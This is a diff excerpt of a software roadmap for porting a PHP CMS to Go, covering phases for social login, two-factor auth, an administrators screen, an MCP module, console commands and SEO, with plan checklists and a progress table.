|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. `/oauth/google` and `/oauth/facebook` and their callbacks keep the PHP paths, because desktop shells hard-code them.
|
||||
2. SPA mode (`?mode=spa&frontend_callback=…`) redirects with a one-time code that `oauth-complete` exchanges. A new social user who still needs profile completion goes through `oauth-register-complete`.
|
||||
3. Identities are linked on login and listed and unlinked through the existing identity routes. Both applications that consume the plugin still build and pass their tests.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 5/5 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.5-01-PLAN.md — Foundations: goth decision note, `cooler.Cache.Pull` with README and docs, sm-user-plugin hooks (provider-list source, row-locked PHP unlink rule, sign-in helpers, user:backfill-handles opens its DB), human goth package check (wave 1)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.5-02-PLAN.md — New repo sm-sociallogin-plugin: fake-provider tracer, PHP matching and pending registration, link ticket and request validation, Google/Facebook/GitHub/Microsoft through goth with a settings override, release go-ahead and pushes in D-21 order (wave 2)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.5-03-PLAN.md — Adoption: sm-demo-app mount next to the OIDC provider, sm-bm-app Microsoft 365 (backend, `/oauth` reserved, frontend callback, consent and link views), fonoteka.go green at the bumped user-plugin pin (wave 3)
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 19.5-04-PLAN.md — Unit tests for every decision, PHP social-auth test map, security review, scripts/check-phase19.5.sh (wave 4)
|
||||
|
||||
**Wave 5** *(gap closure, blocked on Wave 4 completion)*
|
||||
- [x] 19.5-05-PLAN.md — Gap closure (D-26..D-28): `users.email_verified_at` proof in sm-user-plugin, auto-link only onto a proven account in sociallogin, bm OAuthCallbackView vitest test, gate extended, release v0.1.5 / v0.1.2 and pointer bumps under the go-ahead (wave 5)
|
||||
|
||||
### Phase 19.6: Two-factor auth and device flow in sm-user-plugin (INSERTED)
|
||||
|
||||
**Goal:** `sm-user-plugin` has the PHP user plugin's second factors and device login: TOTP, WebAuthn, email codes, recovery codes and trusted devices, a challenge step during login, and QR/code device authorization.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19.3
|
||||
**Repos:** `sm-user-plugin`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. TOTP setup, confirm and disable; WebAuthn registration and login challenges; email codes; recovery codes; and trusted devices all work against the PHP contract. The WebAuthn dependency has a decision note before code lands.
|
||||
2. Login with a second factor enabled returns the unauthenticated challenge step, rate-limited by the `2fa-verify` bucket.
|
||||
3. Device authorization (`devices/initiate`, `devices/status/{token}`, `devices/authorize`, and the device list and revoke) works on the `DeviceAuthSession` model.
|
||||
4. The models TwoFactorMethod, TwoFactorChallenge, TwoFactorRecoveryCode, TrustedDevice, WebAuthnCredential and DeviceAuthSession and their migrations are ported. The phase gets a security review. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 4/4 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.6-01-PLAN.md — Foundations: decision note for pquerna/otp, go-webauthn and boombuler/barcode, sm-user-plugin seams (login gates in Login with the restore after the gate, login and password-changed events, reset-2FA slot and permission), device authorization flow with the JTI followed through refresh, human package check (wave 1)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.6-02-PLAN.md — New repo sm-mfa-plugin: TOTP tracer through the challenge, recovery and email codes with the D-18 hardening, trusted devices, settings screen, revocation on password change, admin reset service (wave 2)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.6-03-PLAN.md — WebAuthn second factor and passwordless passkeys, social sign-in through the gate, demo 2FA screens in vue-demo-app, release go-ahead and publishing in D-17 order, adoption in sm-demo-app and sm-bm-app, fonoteka.go pointer and guard tests (wave 3)
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 19.6-04-PLAN.md — Unit tests for every decision, login-path invariant, PHP security test map, security review with the explicit D-14 section, scripts/check-phase19.6.sh, gated release of post-release fixes (wave 4)
|
||||
|
||||
### Phase 19.6.1: Backend Administrators screen (INSERTED)
|
||||
|
||||
**Goal:** cabana gets WinterCMS's Administrators screens, so backend admins and their roles are managed in the admin SPA instead of only through `admin:*` console commands. Kept short (1-2 plans): it reuses cabana's CRUD, permission field and record actions, and follows the sm-user-plugin Users/Groups screens and WinterCMS `Backend\Controllers\Users`/`UserRoles`.
|
||||
**Depends on:** Phase 8 (cabana); 19.7 builds on it (the frontend-link record action lands on this screen)
|
||||
**Repos:** `summercms.go`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. An admin with the new manage-administrators permission lists, creates, edits and deactivates backend users (login, email, name, role, password set/reset) and edits roles with the permission editor; existing cabana payloads and `admin:*` commands are unchanged.
|
||||
2. Privilege rules hold on the server: only a superuser can create, edit or grant superuser; an admin cannot raise their own role or permissions; the last active superuser cannot be deactivated, demoted or deleted.
|
||||
3. The record-action seam on the Administrators list is usable by plugins (19.7's link action), and unit tests cover the privilege rules.
|
||||
|
||||
**Plans:** 5/5 plans complete
|
||||
|
||||
Plans:
|
||||
- [x] 19.6.1-05-PLAN.md
|
||||
|
||||
**Wave 1**
|
||||
- [x] 19.6.1-01-PLAN.md — server side: the pact action-extension seam, the internal summercms.cabana pseudo-plugin with the Administrators and Roles screens, every privilege rule in the save transaction (superuser hiding, ceilings, self-edit, outranking, last-superuser lock, revocation), lang keys and docs
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.6.1-02-PLAN.md — SPA support (D-21): per-record locked permission values and the field `trigger`, regenerated OpenAPI and schema.d.ts, rebuilt modules/boardwalk/dist
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.6.1-03-PLAN.md — unit, Postgres and SPA tests for every rule (incl. the held-lock last-superuser race), the seam and D-21, plus the check-phase19.6.1.sh gate
|
||||
|
||||
**Wave 4** *(gap closure)*
|
||||
- [x] 19.6.1-04-PLAN.md — close CR-01 (role-code capture onto code-declared grants) and WR-03 (wrap contributed Administrators actions with guardOutranked)
|
||||
|
||||
### Phase 19.7: Generic MCP module (INSERTED)
|
||||
|
||||
**Goal:** A SummerCMS application can expose its plugins' APIs as an opt-in MCP endpoint inside the binary. Plugins declare their tools in Go, and an editor connects one MCP client once to reach both frontend-user tools and the backend tools of their linked admin account.
|
||||
**Depends on:** Phase 8, Phase 19.6.1; todos `2026-10-17-plugin-registered-frontend-permissions` and `2026-10-17-frontend-backend-account-link`
|
||||
**Repos:** `summercms.go`, `sm-user-plugin`
|
||||
**Design:** `.planning/notes/2026-10-17-generic-mcp-module.md`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. An application that enables the module in config serves an MCP endpoint; with the module disabled (the default) nothing is mounted and nothing changes.
|
||||
2. A plugin declares tools through an optional `pact` capability (name, description, input struct reflected to a JSON schema, guard, route); plugins that declare none expose none.
|
||||
3. `tools/list` lists only the tools the session's principals may call (frontend permissions through the merged group/user permissions, backend permissions and token scope through cabana), and a call runs through the route's own middleware.
|
||||
4. An editor signs in once through `wristband` OAuth as a frontend user; with a verified link to a backend user, backend-guarded tools such as Journal's run as that admin, and removing the link or the grant removes them. The phase gets a security review; the MCP SDK dependency has a decision note before code lands; unit tests are the last plan.
|
||||
|
||||
**Plans:** 9/9 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.7-01-PLAN.md — Framework seams: bouncer dispatch marker, surf handler lookup and streaming routes, tagged pier mount hook, SDK-free pact MCP contracts, My account contribution seam, prompted record action, wristband scope set
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.7-02-PLAN.md — The `pier` module behind `summercms_mcp` (go-sdk, hybrid stateful/stateless, Redis sessions, fan-out, PRM) and the framework release carrying 19.6.1 + 19.7-01/02
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.7-03-PLAN.md — sm-user-plugin: verified account link, Administrators-screen link actions, plugin frontend permission codes, the `user` MCP guard and `user_me` tool, plugin release and app pointer bumps
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 19.7-04-PLAN.md — sm-oauthserver-plugin `backend` scope, `oas_at_` verifier and MCP consent JSON; Journal tools; vue-demo-app `/connect` and `/link-admin`; sm-demo-app wiring, e2e and deploy notes; plugin releases
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [x] 19.7-05-PLAN.md — Unit tests across six repos, `scripts/check-phase19.7.sh`, the filled validation map and the security review
|
||||
|
||||
Gap closure (`19.7-REVIEW.md` findings, escalations E-1 and E-2; `19.7-GAP-INPUTS.md`). No tag, push or deploy until verification; then framework v0.5.0, the plugin tags, the app bumps.
|
||||
|
||||
**Gap wave 1**
|
||||
- [x] 19.7-06-PLAN.md — pier hardening (lane A): session reaper, atomic per-binding reservation, no global lock across guard I/O, identity widening, Redis fan-out for stateless instances, listen re-check, path-value rules, fixed error text, prompt write ceiling
|
||||
|
||||
**Gap wave 2** *(blocked on 19.7-06: shared pier and pact files)*
|
||||
- [x] 19.7-07-PLAN.md — Framework auth and admin (lane B): `auth_time` claim, `pact.HasFrontendTokenScopes` seam (E-2), token-specific revoke events, client address on the resolve path, My account URL and section isolation, hotkey fixes, OpenAPI and dist
|
||||
|
||||
**Gap wave 3** *(blocked on 19.7-06 and 19.7-07)*
|
||||
- [x] 19.7-08-PLAN.md — Plugins and demo (lane C): link proof on `auth_time` with the code in the fragment, grant revocation on ban/reset and link changes, member token scopes (E-2), organisation logo (E-1), Journal prompt ceiling, nginx MCP body cap
|
||||
|
||||
**Gap wave 4** *(blocked on 19.7-06, 19.7-07 and 19.7-08)*
|
||||
- [x] 19.7-09-PLAN.md — Unit tests for every fix and both escalations, the extended gate (workspace check, unreleased-pin policy), validation rows, the corrected security review, deferred items
|
||||
|
||||
### Phase 19.8: Console commands overhaul (INSERTED)
|
||||
|
||||
**Goal:** Console commands in `summer` and in application binaries reach the bar set by Laravel's Artisan. The command logic stays; what changes is logging, the shared console layer in `bonfire`, and every command's help and output. A user sees what a command did, can ask for more or less of it, and learns from `--help` how to use it without opening the docs. Example of today's gap: `serve` prints raw `slog` lines from plugins and River mixed with styled `ℹ` lines, says nothing about what it booted (plugins, migrations state, mail driver, cache, realtime, scheduler), and has no way to see more or less. Logging today is one hard-coded `slog.NewTextHandler` at INFO in `sunscreen.Install`, with no level, format or destination config.
|
||||
**Mode:** mvp
|
||||
**Depends on:** none (framework `diary`, `bonfire` and the commands that modules and plugins register; can run in parallel with the 19.x phases; added as Phase 32 on 2026-10-20 and renumbered 2026-10-21)
|
||||
**Repos:** `summercms.go`; shared plugin repos only for their commands' help text and logger names, without breaking changes to command names or flags; `sm-summercmsio-app` / `vue-summercmsio-app` for the landing site and roadmap presentation
|
||||
**Planned shape:** 4 plans: (1) `diary` logging module, (2) `bonfire` global flags, help and `list`, (3) sweep of every command, (4) unit tests. Docs, landing-site and roadmap-presentation updates ride along or go to `/msd-quick` tasks.
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. A new `diary` module (beach-themed README, root table row) owns the application's logging, modelled on Laravel's `config/logging.php`: `log.default`, `log.level`, `log.channels` and `log.components` config keys, channels for stderr, a `stack` of several channels, a daily file with retention and JSON output, a console handler that renders records in `bonfire`'s style with a component prefix, and named component loggers. `sunscreen` redaction wraps every channel; `sunscreen.Install` keeps working as a compatibility shim. Daily files under `storage/logs/` are on by default. The console uses the charm stack (lipgloss, bubbles/bubbletea, huh, fang) after SSU's terminal UX, with a decision note for the new dependencies before code.
|
||||
2. `bonfire` provides global flags on every command, modelled on Artisan: `-v`/`-vv`/`-vvv`, `-q`/`--quiet`, `--no-ansi`/`--ansi`, `-n`/`--no-interaction` and `--env`. Verbosity sets the `diary` level at runtime, so framework and third-party logs (River, plugins) are hidden or formatted consistently at the default level and shown in full at `-vv`.
|
||||
3. Every command has a description, a long help with usage examples, and documented arguments and options with defaults. `list` output is grouped by namespace like `php artisan list`, and `summer help <command>` and `<binary> help <command>` work. A coverage check reports registered commands lacking a description or examples: it fails for the framework's own commands and warns in plugin repos.
|
||||
4. A sweep of all existing commands (framework modules and shared plugins) checks them against an Artisan feature checklist and fixes the gaps found, without changing command logic or breaking existing names and flags. The checklist covers confirmation with `--force` on destructive actions, `--pretend`/dry-run where it applies, progress bars and tables for bulk work, and `--json` output for scripting. Long-running commands such as `serve` and `queue:work` print a startup summary of what booted (environment, plugins, database and migrations state, queues, scheduler, mail, cache and realtime drivers, URLs) and report what they did on shutdown. One-shot commands end with a result line and a meaningful exit code.
|
||||
5. The `diary` and `bonfire` READMEs, the docs console and logging pages, the summercms.io landing site and its roadmap presentation reflect the new console. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 6/6 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 19.8-01-PLAN.md — charm-stack decision note, then the `diary` module (component loggers, Laravel-shaped channels, daily files, redaction) wired into the generated main; River, GORM and framework modules routed through it
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 19.8-02-PLAN.md — `bonfire`: global flags, Artisan list and help, Examples/Hidden, JSON listing, CheckDocs, styled errors with hints and exit codes, duplicate-name rejection, SSU widgets on charm v2
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 19.8-03-PLAN.md — sweep of every command (checklist, hints, serve/queue:work/dev summaries and reports, http request log), docs, landing and roadmap deck; release checkpoint, then plugin commits and app pointer bumps
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 19.8-04-PLAN.md — unit and golden tests for all new code, `scripts/check-phase19.8.sh` gate across repos, post-release fixes go-ahead
|
||||
- [x] 19.8-05-PLAN.md — gap closure: fixes for the code review's critical and warning findings (live-view output order, summer delegates' exit codes and terminal, Ctrl+C cursor, dev shutdown grace, diary file retry, escape stripping, migration sets), each with a pinning test
|
||||
- [x] 19.8-06-PLAN.md — gap closure: v0.4.2 release go-ahead, tag and changelog, demo roadmap sync, full gate
|
||||
|
||||
### Phase 20: Demo instance with every shared plugin
|
||||
|
||||
**Goal:** `sm-demo-app` runs every shared Golem15 plugin collected so far in one binary, and its public Nuxt site shows them working: chat and channels with realtime, video calls, presentations, quizzes, journal, FAQ, subscriptions and the rest. The admin backend is not public; the site carries a call to action to contact Golem15 for a backend tour. Phase 19.4.1 deploys the demo early with the plugins available then; this phase adds the chat family to that live instance.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19, Phase 19.1, Phases 19.3 to 19.7, Phase 19.4.1
|
||||
**Repos:** `sm-demo-app` and its `vue-demo-app`; the shared plugin repos and `summercms.go` only for gaps the demo exposes
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. `sm-demo-app` builds with every shared plugin, including `chat`, `chatchannels`, `chatvideo`, `chatbots`, `forum`, `herald` and `userfriends`, and `demo:seed` fills each one with showcase data.
|
||||
2. The public Nuxt site has pages that show chat and channels with realtime updates, video calls, presentations, the journal and the other plugins working through the shared layers.
|
||||
3. The demo is deployed publicly: the frontend is open, `/backend` is not reachable from the public internet, and the site carries a "want to see the backend? contact Golem15" call to action.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run $gsd-plan-phase 19.1 to break down)
|
||||
- [ ] TBD (run /msd-plan-phase 20 to break down)
|
||||
|
||||
### Phase 20: Płytarium cutover
|
||||
### Phase 30: Płytarium cutover
|
||||
|
||||
**Goal**: The parity harness is green on every manifest route and `vue-fonoteka-app` and `fonoteka-mcp` run unchanged against the Go backend in daily use in production — the Płytarium definition of done.
|
||||
**Mode:** mvp
|
||||
**Depends on**: Phase 2, Phase 8, Phase 9, Phase 10, Phase 12, Phase 12.1, Phase 13, Phase 14, Phase 14.1, Phase 14.2, Phase 15, Phase 16
|
||||
**Depends on**: Phase 2, Phase 8, Phase 9, Phase 10, Phase 12, Phase 12.1, Phase 13, Phase 14, Phase 14.1, Phase 14.2, Phase 15, Phase 16, Phase 19, Phase 19.1, Phases 19.3 to 19.7, Phase 20 (this phase was Phase 20 until 2026-10-18. The 19.x readiness work still lands first, as decided 2026-10-11; chat polish against WavePath moved out to Phase 31)
|
||||
**Repos:** fonoteka.go, summercms.go
|
||||
**Requirements**: API-09, QA-05
|
||||
**Success Criteria** (what must be TRUE):
|
||||
@@ -1063,10 +1554,160 @@ Plans:
|
||||
|
||||
**Plans**: TBD
|
||||
|
||||
### Phase 31: Chat polish against WavePath clients
|
||||
|
||||
**Goal:** The ported chat and chat satellites carry WavePath's chat traffic exactly as PHP does. The chat routes that WavePath's clients call are recorded with `tide`, replayed against the Go plugins and fixed until green, so that chat, the core feature of WavePath, is not the risk in the WavePath migration.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19, Phase 19.1, Phase 30 (formerly Phase 19.2; moved 2026-10-18 so the `tide` recording is made just before the WavePath migration, while the PHP routes still move)
|
||||
**Repos:** `sm-chat-plugin`, `sm-chatchannels-plugin` and the satellite repos; `summercms.go` only for `lighthouse` or `tide` gaps
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. A `tide` corpus of the chat, channel, thread, video-room and push routes, recorded from the PHP backend through `vue-wavepath-app`, `wavepath-mcp` and `hubot-wavepath`, replays green against the Go plugins.
|
||||
2. Realtime events on the `chat`, `video` and `presence:` namespaces match the PHP broadcasts recorded by the `tide` Centrifugo recorder.
|
||||
3. Behaviour stays neutral to the other consumers of these plugins (QuestStream, Horoskopia, Portal). Framework READMEs and docs still name no application.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 31 to break down)
|
||||
|
||||
### Phase 32: SEO foundation
|
||||
|
||||
**Goal:** As a site editor on any SummerCMS application, I want per-record and global SEO in the admin, with redirects and robots.txt, all manageable through MCP, so that every site ships correct, editable SEO without per-site work. The framework gains only generic seams; the SEO code lives in a new shared plugin. This covers:
|
||||
- three framework seams that name nothing SEO-specific: cross-plugin admin form extensions with `Before`/`After` field and tab placement, cabana record events, signpost content descriptors;
|
||||
- `sm-seo-plugin` (Golem15.SEO): the SEO tab on registered content types, global SEO settings with per-type templates, per-URL rules;
|
||||
- title, meta description, canonical, meta robots and `X-Robots-Tag`, Open Graph and Twitter Card;
|
||||
- 301/302/410 redirects, the 404 log, URL normalisation and strict URLs;
|
||||
- the robots.txt editor, AI bot switches, verification files;
|
||||
- MCP tools for all of it, with batch dry-run, CSV import/export and history with undo.
|
||||
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 17 (signpost, sitemap plugin), Phase 19.7 (pier MCP)
|
||||
**Repos:** `summercms.go` (pact, cabana, signpost seams; framework release tag at the end), new `sm-seo-plugin`, `sm-journal-plugin` (signpost descriptors), the apps that mount the plugin
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. A plugin can add a field between two fields of another plugin's admin form (A, B plus C after A renders A, C, B), and add a tab between two existing tabs; unknown anchors, duplicate names and anchor cycles stop the boot with a clear error.
|
||||
2. Journal posts, categories and tags show the SEO tab without importing `sm-seo-plugin`, and the frontend gets the effective SEO of any URL with the precedence URL rule > record > global > derived.
|
||||
3. Changing a record's slug creates a 301 and flattens existing chains; redirect loops are refused from the admin, MCP and imports.
|
||||
4. Every SEO operation in the admin is available as an MCP tool, and a batch change can be previewed with dry-run and undone from history.
|
||||
5. The framework release with the seams is tagged, and the new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 6/6 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 32-01-PLAN.md — D-91 cross-plugin admin form extensions (pact types, cabana placement and save/show wiring, docs, SPA backstop)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 32-02-PLAN.md — D-92 record events and D-93 content descriptors; Journal descriptors, journal-tag, API event emission, translated slugs
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 32-03-PLAN.md — sm-seo-plugin core: SEO tab, URL rules, settings with per-type tabs, resolver, history, generate job, elements E1-E3/E7
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 32-04-PLAN.md — redirects and address-change 301, 404 log, normalisation, strict URLs, robots.txt with AI bots, verification files
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [x] 32-05-PLAN.md — /_seo/api/v1 management API and MCP tools, batch dry-run, undo, CSV, demo mount proof, check-phase32.sh
|
||||
|
||||
**Wave 6** *(blocked on Wave 5 completion)*
|
||||
- [x] 32-06-PLAN.md — unit tests, additive and compat proof, framework patch release, plugin tags, demo mount, changelog
|
||||
|
||||
### Phase 32.1: MCP OAuth for plugin apps: declared scopes, MCP subject on context, per-client MCP consent (INSERTED)
|
||||
|
||||
**Goal:** As an application whose plugins declare their own member token scopes, I want an agent connected to `/mcp` over OAuth to get the same tools, attribution and revocation as one using a personal token, so that OAuth sign-in can be switched on in production. A consuming app's agent-access work found three gaps (its D-36, D-37 and D-38); all three are additive and ship as patch releases of the framework (0.5.x) and `sm-oauthserver-plugin`.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 19.4 (OIDC provider on wristband), Phase 19.7 (generic MCP module)
|
||||
**Plans:** 4/5 plans executed
|
||||
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. Scopes a plugin declares through `pact.HasFrontendTokenScopes` can be requested, consented to and granted over MCP OAuth: the wristband metadata and authorize allow-list and pier's protected-resource scopes include them, so a tool route behind `user.scope:<declared>` lists and runs for an OAuth agent granted that scope. Today the list is fixed to `read`, `write`, `ai`, `offline_access` (and `backend`).
|
||||
2. A route run by an MCP tool call can read the MCP subject (guard, user, client ID, token id) from its request context through an accessor, so an application records the OAuth client of a write; a personal-token call's credential keeps carrying the token id (sm-user-plugin v0.1.14).
|
||||
3. `sm-oauthserver-plugin` records a consent for MCP grants, so the existing per-client revoke ends one agent's grant and its MCP sessions without touching the user's other agents.
|
||||
4. Module READMEs and `docs/` pages describe the three changes; the framework and `sm-oauthserver-plugin` get patch tags.
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 32.1-01-PLAN.md — Framework seam: catalog, MCPCall, one advertised scope list
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 32.1-02-PLAN.md — sm-user-plugin from v0.1.14: publish the catalog and Implies for OAuth subjects
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 32.1-03-PLAN.md — sm-oauthserver-plugin: consent replace, revoke, backfill
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 32.1-04-PLAN.md — vue-oauth-layer /connect checkboxes
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [ ] 32.1-05-PLAN.md — Unit tests, then the release checkpoint
|
||||
|
||||
### Phase 33: SEO output, audit and content
|
||||
|
||||
**Goal:** As a site editor and as an SEO specialist auditing a SummerCMS site, I want the rendered sites to emit complete SEO output (sitemaps, structured data, pagination, hreflang, headings, breadcrumbs) from the CMS, and an audit that finds the remaining problems, so that sites are indexed correctly and issues can be fixed through MCP. Decisions are in `.planning/phases/32-seo-foundation/32-CONTEXT.md`. This covers:
|
||||
- the `sm-sitemap-plugin` rewrite to a sitemap index split by type (breaking, D-32), image/News/IndexNow options, the HTML sitemap;
|
||||
- the page registry in `sm-seo-plugin`;
|
||||
- JSON-LD `@graph` per page type, pagination, hreflang in head and sitemaps;
|
||||
- heading rules (no H1 in content), breadcrumbs;
|
||||
- a shared Nuxt SEO layer, with the SSR build guard and the layers and apps moved onto it;
|
||||
- the crawler and issue report;
|
||||
- internal linking, auto-links and the orphan report;
|
||||
- media SEO (alt, file names, formats).
|
||||
|
||||
**Mode:** mvp
|
||||
**Planning:** exception to the lean-planning rule approved by Jakub on 2026-10-25: about 12–15 smaller plans instead of a few large ones.
|
||||
**Depends on:** Phase 32
|
||||
**Repos:** `sm-sitemap-plugin`, `sm-seo-plugin`, `sm-journal-plugin`, `sm-faq-plugin`, the Nuxt layers (new SEO layer, journal, menu, FAQ), the apps (grzybyfunkcjonalne migrates its sitemap in the same delivery)
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. Every site serves a sitemap index with per-type files of a configurable size, stable numbering and real `lastmod`, consistent with noindex and robots.txt, and grzybyfunkcjonalne.pl runs on the new format.
|
||||
2. Indexable pages render server-side with head tags, one JSON-LD `@graph`, hreflang and breadcrumbs from the CMS, and a build fails when an indexable route has `ssr: false`.
|
||||
3. The crawler reports SEO issues per URL, and each issue can be fixed through MCP.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 14 plans
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [ ] 33-01-PLAN.md — framework: additive content descriptor fields and per-request field options, check-phase33.sh, v0.5.2 release log (no tag)
|
||||
- [ ] 33-07-PLAN.md — vue-seo-layer (new repository): CMS head and one JSON-LD graph, redirect/410 enforcement, root files, 404 report, shared purge route
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [ ] 33-02-PLAN.md — sm-journal-plugin: per-site H1 setting on every write path, editor J1–J4, descriptor facts, journal-author type, MCP tools
|
||||
- [ ] 33-03-PLAN.md — sm-sitemap-plugin: sitemap index with per-type files, slot table, real lastmod, hreflang, filter contract (breaking, D-32)
|
||||
- [ ] 33-08-PLAN.md — vue-seo-layer: SSR build guard, noindex routes, route report, drift check, breadcrumbs, pagination, HTML sitemap
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [ ] 33-04-PLAN.md — sm-sitemap-plugin: image and News sitemaps, IndexNow, HTML-sitemap API, MCP tools
|
||||
- [ ] 33-09-PLAN.md — journal, menu and FAQ layers on the SEO layer: headings in both H1 modes, one link per card, body links, breadcrumbs, pagination, related posts
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [ ] 33-05-PLAN.md — sm-seo-plugin I: sitemap filter, page registry with route report, site endpoint, llms.txt, Links settings, purge after writes
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [ ] 33-06-PLAN.md — sm-seo-plugin II: JSON-LD @graph, publisher, schema fields (E8/E9), breadcrumbs, hreflang, pagination; chromedp and webp legitimacy checkpoint
|
||||
|
||||
**Wave 6** *(blocked on Wave 5 completion)*
|
||||
- [ ] 33-10-PLAN.md — sm-seo-plugin: crawler with optional rendered comparison (chromedp), issue report with fix routes, Site audit and Crawls, MCP tools
|
||||
|
||||
**Wave 7** *(blocked on Wave 6 completion)*
|
||||
- [ ] 33-11-PLAN.md — internal linking and media: auto-links, link suggestions (E10), WebP variants with srcset
|
||||
|
||||
**Wave 8** *(blocked on Wave 7 completion)*
|
||||
- [ ] 33-12-PLAN.md — apps I: demo end to end on local links, summercms.io patches, sm-bm-app noindex (D-72)
|
||||
- [ ] 33-13-PLAN.md — grzybyfunkcjonalne.pl on the new sitemap format and the SEO layer; uat deploy by decision
|
||||
|
||||
**Wave 9** *(blocked on Wave 8 completion)*
|
||||
- [ ] 33-14-PLAN.md — unit tests, check-phase33.sh --all, release tags in order, app re-pins, changelog post
|
||||
|
||||
## Progress
|
||||
|
||||
**Execution Order:**
|
||||
Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 19 → 19.1 → 20
|
||||
Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 18.1 → 19 → 19.1 → 19.3 → 19.4 → 19.4.1 → 19.5 → 19.6 → 19.7 → 19.8 → 20 → (21 to 29, added as planned) → 30 → 31
|
||||
(Phase 2 depends on Phase 1's command kernel; the two are no longer parallel.)
|
||||
|
||||
| Phase | Plans Complete | Status | Completed |
|
||||
@@ -1077,26 +1718,47 @@ Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 →
|
||||
| 4. CLI scaffolding, i18n and mail | 4/4 | Complete | 2026-09-18 |
|
||||
| 5. Data layer full fidelity | 6/6 | Complete | 2026-09-18 |
|
||||
| 6. HTTP routing, auth groups and rate limiting | 14/14 | Complete | 2026-09-21 |
|
||||
| 7. User plugin and authentication | 8/8 | Complete | 2026-09-23 |
|
||||
| 7. User plugin and authentication | 8/8 | Complete | 2026-09-23 |
|
||||
| 8. OAuth2.1 authorization server | 10/10 | Complete | 2026-09-23 |
|
||||
| 9. Backend admin authentication and schema pipeline | 12/12 | Complete | 2026-10-01 |
|
||||
| 10. Admin Vue SPA | 5/5 | Complete | 2026-09-27 |
|
||||
